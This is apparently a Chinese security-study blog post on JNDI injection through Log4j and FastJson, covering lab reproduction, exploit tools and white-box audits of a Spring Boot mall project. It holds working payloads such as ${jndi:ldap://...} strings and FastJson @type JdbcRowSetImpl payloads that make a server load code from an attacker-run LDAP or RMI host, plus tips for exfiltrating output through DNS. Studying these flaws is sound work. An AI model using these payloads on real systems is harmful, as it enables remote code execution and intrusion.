JNDI注入&Log4j&FastJson&白盒审计&不回显处理

目录

0x00 前言

0x01 Maven 仓库及配置

0x02 JNDI 注入简介

0x03 Java-第三方组件-Log4J&JNDI

0x04 Java-第三方组件-FastJson&反射

0x05 白盒审计 - FastJson

0x06 白盒审计 - Log4j

0x07 不回显的处理方法

---

0x00 前言

希望和各位大佬一起学习，如果文章内容有错请多多指正，谢谢！ 

个人博客链接：CH4SER的个人BLOG – Welcome To Ch4ser's Blog

0x01 Maven 仓库及配置

Jar仓库：Maven Repository: Search/Browse/Explore (mvnrepository.com)

Maven配置：IDEA配置Maven的超详细步骤_java_脚本之家 (jb51.net)

0x02 JNDI 注入简介

参考：【精选】安全技术系列之JNDI注入_jndi注入原理-CSDN博客

Java Naming and Directory Interface (Java 命名和目录接口 )，JNDI 提供统一的客户端 API，通过不同的服务供应接口(SPI)的实现，由管理者将 JNDI API 映射为特定的命名服务和目录服务，使得 JAVA 应用程可以通过 JNDI 实现和这些命名服务和目录服务之间的交互。

简单来说，JNDI 就是一个 Java 自带的 API，可以实现远程打印、远程调用文件等。

可以看到，在图中 JNDI 的下面有 LDAP 和 RMI 两个协议，这两个协议是在 JNDI 注入过程中经常用到的，可以实现远程调用执行 Java class 文件。

LDAP 是一种用于访问和维护分布式目录服务信息的协议，广泛用于身份认证、访问控制和共享资源等领域。RMI是一种允许在分布式系统中进行远程方法调用的协议。

0x03 Java-第三方组件-Log4J&JNDI

1、Log4j简介

Apache的一个开源项目，通过使用Log4j，我们可以控制日志信息输送的目的地是控制台、文件、GUI组件，甚至是套接口服务器、NT的事件记录器、UNIX Syslog守护进程等；我们也可以控制每一条日志的输出格式；通过定义每一条日志信息的级别，我们能够更加细致地控制日志的生成过程。最令人感兴趣的就是，这些可以通过一个配置文件来灵活地进行配置，而不需要修改应用的代码。

简单来说，Log4j就是一个Java的第三方组件，用来对日志进行处理，如果项目有日志需求，就有可能用到Log4j。

历史漏洞：https://avd.aliyun.com/search?q=Log4j

2、简单测试 Log4j 漏洞

首先在 Maven 官网找到相应版本的 Log4j（我这里用的是 2.14.1 版本），粘贴到 pom.xml

    org.apache.logging.log4j
    log4j-core
    2.14.1

创建一个 Log4jTest 的类来测试，以下是代码：（注意这里包不要倒错了）

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

运行 main 函数后，IDEA 控制台输出：123

修改 Log4jTest 类的代码，如下：

运行 main 函数后，IDEA 控制台输出了操作系统的信息，也就是以 Java 代码执行了系统命令

那么思考一个问题，如果 code 变量可控，是不是可以进行漏洞利用了呢？

新建一个 Web 项目模拟可控变量 code 的场景：创建一个 Log4jServlet，代码如下。

浏览器访问：http://localhost:8080/Log4jWebDemo_war_exploded/log4j?code=%24{java%3aos}

这里我测试直接传入code=${java:os}不行，不让直接输入 {} 号，所以进行了 URL 编码。最后IDEA 控制台同样输出了操作系统的信息。

3、工具测试 Log4j 漏洞

这里引入一款 JNDI 注入工具：JNDI-Injection-Exploit，这款工具可以生成一个 class 文件供远程访问，并附带 JNDI 链接，可以将这些链接插入 POC 以测试漏洞。

具体使用方法如下：

# java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar [-C] [command] [-A] [address]

其中:
-C   远程class文件中要执行的命令
-A   服务器地址，可以是IP地址或者域名

注意:
要确保 1099、1389、8180端口可用，不被其他程序占用
或者你也可以在run.ServerStart类26~28行更改默认端口

实验时我用的 Kali 虚拟机来运行的 JNDI-Injection-Exploit 工具。本来想用腾讯云的 CentOS，但是测试发现进行 JNDI 注入后 Web 项目的主机（即我的物理机）没有成功访问 Kali 上的 class 文件，可能是防火墙策略的原因。

我的 Target Environment 是 JDK 1.8（也就是运行 Web 项目的主机，也即我的物理机），所以应该选择如图所示的 RMI 或 LDAP 链接。

基于之前的项目环境，构造 POC：

http://localhost:8080/Log4jWebDemo_war_exploded/log4j?code=${jndi:ldap://192.168.1.10:1389/hjrijn}

经过 URL 编码后为：

http://localhost:8080/Log4jWebDemo_war_exploded/log4j?code=%24%7bjndi%3aldap%3a%2f%2f192.168.1.10%3a1389%2fhjrijn%7d

成功弹出计算器，如图：

观察到 Kali 这边输出了日志，并且可以看到生成的 class 文件位置。

总结，触发JNDI 注入的原因：开发源码中引用漏洞组件（如 Log4j），使用了组件里可能会触发漏洞的代码（如 log.error），并且有可控变量存在（如这里的 $code）

这里我相当于是白盒知道该 Web 项目引用了 Log4j 组件并且知道注入点是 code，那么实战中（黑盒）如何知道对方有没有引用 Log4j 呢？并且就算注入成功自己也无从知晓（比如就算对方弹了计算器，但我是看不到的），那么又如何判断哪里是注入点呢？

思路：

• Fofa、Shodan关键字搜 Log4j、根据返回包内容有无 Log4j 相关信息、页面报错信息等方式去判断对方有没有引用 Log4j
• 通过 DNSLog 测试有无回连，比如构造 POC 为 ${jndi:ldap://xxx.dns.log} 去测试注入点

0x04 Java-第三方组件-FastJson&反射

1、FastJson 简介

在前后端数据传输交互中,经常会遇到字符串(String)与json,XML等格式相互转换与解析，其中json以跨语言，跨前后端的优点在开发中被频繁使用，基本上是标准的数据交换格式。它的接口简单易用，已经被广泛使用在缓存序列化，协议交互，Web输出等各种应用场景中。FastJson是阿里巴巴的的开源库，用于对JSON格式的数据进行解析和打包。

Java 其实是有原生 Json 数据格式转换的，但由于 FastJson 速度更快，效率更高，所以被广泛使用。

简单来说 FastJson 就是一个阿里巴巴开发的用做 Json 数据格式转换的 Java 第三方组件。

历史漏洞：https://avd.aliyun.com/search?q=fastjson

2、简单测试 FastJson

同样先引用 FastJson 组件（我使用的是 1.2.24 版本）

    com.alibaba
    fastjson
    1.2.24

创建一个 User 类，用来测试 FastJson 的数据格式转换

创建一个 FastjsonTest，使用 FastJson 处理 User 类的数据转换

运行 main 函数后，IDEA 控制台输出如下：

可以看到使用 JSONObject.toJSONString 的 SerializerFeature.WriteClassName 参数时会附带上类名，这也是漏洞利用的关键点。

将 JSON 格式字符串转换为对象的过程，实质上就是反序列化的过程，上述 JSON ---> 对象 的代码中：

String test = "{\"@type\":\"com.example.FastjsonDemo.User\",\"age\":23,\"name\":\"ch4ser\"}";

反序列化的是 User 这个类。试想，如果将在 com.example.FastjsonDemo 路径下创建一个新的类 Run，代码如下：

并且修改 "@type":"com.example.FastjsonDemo.Run"，如下所示：

String test = "{\"@type\":\"com.example.FastjsonDemo.Run\",\"age\":23,\"name\":\"ch4ser\"}";

那么重新运行 main 函数，就会反序列化 Run 这个类，并且会触发 Run 这个类的无参构造方法 Run()，最终弹出计算器。

但是问题来了，这里我是做测试自己新建了一个类固定调用的，但实战中明显是不现实的，那么实战中应该如何操作呢？

3、测试 javax.naming.InitialContext.lookup() 方法

在搞清楚实战中应该如何操作之前，需要先引入 javax.naming.InitialContext.lookup() 这个方法。

也就是说，Java 如果要调用某个类的话，那就可以使用 InitialContext 这个类的 lookup 方法实现调用（利用 RMI、LDAP等远程调用）。基于安全角度看，这个方法就是专门用于 JNDI 注入的。

创建一个 JndiDemo 来测试 lookup 方法，代码如下：

以上为使用 JNDI-Injection-Exploit 工具，实测发现 LDAP可以弹出计算器，而 RMI 不行。

重新引入一款工具：Marshalsec，和 JNDI-Injection-Exploit 工具不同的是它内置一些绕过限制的功能。

使用这款工具需要自己先写一个类，然后编译成 class 文件并放到 Marshalsec 服务端（也就是我的 Kali）的网站目录下。

在 IDEA 终端编译 Run 类为 class 文件，并放到 Kali 网站目录下（默认是 /var/www/html）。

修改 JndiDemo 测试代码：

启动 Marshalsec 工具，运行 main 函数后发现 Server 端收到了请求，但是 Win11 并没有弹出计算器。问了群里大佬，说可能是工具问题，我看小迪用的时候也是有问题。

4、Fastjson 漏洞复现

模拟一个使用 Fastjson 组件的网站，前端代码如下：

后端代码如下：

查看网上别人的 Fastjson 利用 Payload 为：

Payload 1：
{
 "@type":"java.lang.Class",
 "val":"com.sun.rowset.JdbcRowSetImpl"
 }

Payload 2：
{
 "@type":"com.sun.rowset.JdbcRowSetImpl",
 "dataSourceName":"rmi://dnslog.cn地址/zcc",
 "autoCommit":true
 }

启动 JNDI-Injection-Exploit 工具，构造 Payload 并填入，成功弹出计算器：

还是回到之前那个问题：实战中无法自己创建恶意类固定调用，那这里又是如何实现调用的呢？

原因是以上 Payload 中 指定的 com.sun.rowset.JdbcRowSetImpl 类调用了 InitialContext.lookup() 方法。

Java 中还有其他类调用了 InitialContext.lookup() 方法，如下：

1、在RMI服务中调用了InitialContext.lookup()的类有：

org.springframework.transaction.jta.JtaTransactionManager.readObject()

com.sun.rowset.JdbcRowSetImpl.execute()

javax.management.remote.rmi.RMIConnector.connect()

org.hibernate.jmx.StatisticsService.setSessionFactoryJNDIName(String sfJNDIName)


2、在LDAP服务中调用了InitialContext.lookup()的类有：

InitialDirContext.lookup()

Spring LdapTemplate.lookup()

LdapTemplate.lookupContext()

现在我把项目的 JDK 版本由 1.8.0_131 换成 17.0.2 之后，还是原先的 Payload，发现数据还是能正常接收，但是计算器不弹了。

这是由于官方针对不同 JDK 版本做出了一些限制，也就是说，高版本的 JDK 会影响 JNDI 注入（RMI、LDAP），具体如下：

JDK 6u45、7u21之后：
java.rmi.server.useCodebaseOnly的默认值被设置为true。当该值为true时，
将禁用自动加载远程类文件，仅从CLASSPATH和当前JVM的java.rmi.server.codebase指定路径加载类文件。
使用这个属性来防止客户端VM从其他Codebase地址上动态加载类，增加了RMI ClassLoader的安全性。

JDK 6u141、7u131、8u121之后：
增加了com.sun.jndi.rmi.object.trustURLCodebase选项，默认为false，禁止RMI和CORBA协议使用远程codebase的选项，
因此RMI和CORBA在以上的JDK版本上已经无法触发该漏洞，但依然可以通过指定URI为LDAP协议来进行JNDI注入攻击。

JDK 6u211、7u201、8u191之后：
增加了com.sun.jndi.ldap.object.trustURLCodebase选项，默认为false，
禁止LDAP协议使用远程codebase的选项，把LDAP协议的攻击途径也给禁了。

0x05 白盒审计 - FastJson

迷你天猫商城：一个基于Spring Boot的综合性B2C电商平台，需求设计主要参考天猫商城的购物流程：用户从注册开始，到完成登录，浏览商品，加入购物车，进行下单，确认收货，评价等一系列操作。 作为迷你天猫商城的核心组成部分之一，天猫数据管理后台包含商品管理，订单管理，类别管理，用户管理和交易额统计等模块，实现了对整个商城的一站式管理和维护。

项目环境搭建：首先配置好 Git，然后 Maven 点击 clean 和 install，再配置数据库连接信息，最后即可启动。

审计过程：

直接全局搜索 JSON.parse 或 JSON.parseObject，看到有四个地方用了 JSON.parseObject，表明使用了 FastJson 组件并使用了相关反序列化漏洞函数，随机跟进一个

跟进传入的参数值 propertyJson，得知该值为 产品属性 JSON 数据，并且通过 @RequestMapping 路由得知该功能点大概率是后台管理员添加产品的界面，反序列化的对象也即为产品信息

在 pom.xml 里搜索 fastjson，得知项目所使用的 FastJson 版本为 1.2.58，查阅漏洞库得知该版本存在漏洞

登录后台，测试添加产品并用 BurpSuite 抓包，看到确实有 propertyJson 这个值传递，于是下一步直接构造 payload 复现

构造 payload，测试出网回显调用访问：（这里 DNSLog 地址我用的 Yakit 生成的）

{"@type":"java.net.Inet4Address","val":"ldap://192.168.139.1:1389/eg5vto"}

改包发包之后，在 Yakit 这边看到连接，证明可以出网

0x06 白盒审计 - Log4j

同样，先全局搜索 logger.info 或 logger.error，搜索结果很多，但有可控变量的才能被利用

跟进，发现路由地址为 admin/uploadAdminHeadImage，变量 originalFileName 值是获取的上传头像的文件名，并且推测功能点应该是后台管理员头像上传界面

在 pom.xml 里搜索 log4j，得知项目所使用的 Log4j 版本为 2.10.0，查阅漏洞库得知该版本存在漏洞

登录后台，测试上传管理员头像并用 BurpSuite 抓包，看到路径确实是 admin/uploadAdminHeadImage，于是下一步直接构造 payload 传入 filename 值即可

构造 payload，测试出网回显调用访问：（这里 Yakit 抽风了，我用的 DNSLog.cn）

${jndi:ldap://endjri.dnslog.cn}

改包发包之后，在 DNSLog.cn 这边看到连接，证明可以出网

使用 JNDI-Injection-Exploit，尝试弹出计算器（我这里 JDK 版本是 8u131）

测试结果为：RMI不行，LDAP可以。原因还是和之前的一样，高版本的 JDK 会影响 JNDI 注入

0x07 不回显的处理方法

• 直接将执行结果写入到静态资源文件里，如 HTML、JavaScript 等，然后访问
• 通过 DNSLog 进行数据外带，但如果无法执行 DNS 请求就无法验证了
• 接将命令执行结果回显到 HTTP 响应中

参考：面试长问|Fastjson不出网利用总结 (qq.com)